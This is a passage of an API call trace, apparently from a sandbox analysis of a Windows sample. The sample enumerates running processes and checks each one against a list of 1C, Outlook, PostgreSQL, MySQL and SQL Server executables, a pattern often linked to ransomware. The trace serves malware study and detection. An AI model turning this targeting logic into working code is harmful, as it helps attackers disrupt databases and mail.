hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0262.059] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0262.059] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0262.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0262.059] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0262.059] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0262.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0262.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0262.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0262.059] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0262.060] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0262.060] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0262.060] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0262.060] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0262.060] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0262.060] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0262.060] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0262.060] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0262.060] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.061] lstrlenW (lpString="svchost.exe") returned 11 [0262.061] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.061] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.061] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.062] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.062] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.062] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.062] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.062] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.063] lstrlenW (lpString="svchost.exe") returned 11 [0262.063] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.063] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.063] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.063] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.063] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.063] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.063] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.064] lstrlenW (lpString="dwm.exe") returned 7 [0262.064] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0262.064] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0262.064] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0262.064] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0262.064] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0262.064] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0262.064] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0262.064] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.066] lstrlenW (lpString="svchost.exe") returned 11 [0262.066] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.066] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.066] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.066] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.067] lstrlenW (lpString="svchost.exe") returned 11 [0262.067] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.289] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.289] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.289] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.289] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.290] lstrlenW (lpString="svchost.exe") returned 11 [0262.290] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.290] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.290] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.290] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.290] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.290] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.290] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.290] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.291] lstrlenW (lpString="svchost.exe") returned 11 [0262.291] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.291] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.292] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.328] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.328] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.328] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.328] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.329] lstrlenW (lpString="svchost.exe") returned 11 [0262.354] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.354] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.354] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.354] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.355] lstrlenW (lpString="svchost.exe") returned 11 [0262.355] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.355] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.355] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.355] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.355] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.355] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.355] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.355] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.448] lstrlenW (lpString="svchost.exe") returned 11 [0262.448] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.448] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.448] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.448] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.448] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.448] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.448] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.448] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.449] lstrlenW (lpString="svchost.exe") returned 11 [0262.449] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.449] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.449] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.450] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.450] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.450] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.450] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.450] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.451] lstrlenW (lpString="svchost.exe") returned 11 [0262.451] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.451] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.451] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.451] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.451] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.451] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.451] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.451] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.452] lstrlenW (lpString="svchost.exe") returned 11 [0262.452] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.452] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.452] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.452] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.452] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.452] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.452] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.452] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.453] lstrlenW (lpString="spoolsv.exe") returned 11 [0262.453] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0262.453] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0262.453] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0262.453] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0262.453] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0262.454] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0262.454] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0262.454] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.455] lstrlenW (lpString="svchost.exe") returned 11 [0262.455] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.455] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.455] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.455] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.455] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.455] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.455] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.455] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.456] lstrlenW (lpString="audiodg.exe") returned 11 [0262.457] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0262.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0262.457] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0262.457] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0262.457] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0262.457] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0262.457] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0262.457] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0262.458] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0262.458] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.458] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.458] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.458] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.458] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.458] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.458] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0262.458] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0262.459] lstrlenW (lpString="Memory Compression") returned 18 [0262.459] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0262.459] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0262.459] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0262.459] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0262.459] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0262.459] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0262.459] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0262.459] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0262.460] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0262.460] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1 [0262.460] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1 [0262.460] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1 [0262.460] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1 [0262.460] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1 [0262.460] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1 [0262.460] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1 [0262.460] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0262.461] lstrlenW (lpString="sihost.exe") returned 10 [0262.461] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1 [0262.461] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1 [0262.462] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1 [0262.462] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1 [0262.462] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1 [0262.462] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1 [0262.462] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1 [0262.462] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.463] lstrlenW (lpString="svchost.exe") returned 11 [0262.463] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.463] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.463] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.463] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.463] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.463] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.463] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.463] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0262.464] lstrlenW (lpString="taskhostw.exe") returned 13 [0262.464] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0262.464] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0262.464] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0262.464] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0262.464] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0262.464] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0262.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0262.464] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0262.465] lstrlenW (lpString="msoia.exe") returned 9 [0262.465] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1 [0262.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1 [0262.465] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1 [0262.466] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1 [0262.466] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1 [0262.466] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1 [0262.466] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1 [0262.466] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.467] lstrlenW (lpString="explorer.exe") returned 12 [0262.467] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0262.467] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0262.467] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0262.467] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0262.467] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0262.467] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0262.467] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0262.467] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0262.468] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0262.468] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.469] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.469] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.469] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.469] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.469] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.469] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0262.469] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0262.470] lstrlenW (lpString="SearchUI.exe") returned 12 [0262.470] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0262.470] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0262.470] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0262.470] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0262.470] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0262.470] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0262.470] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0262.470] 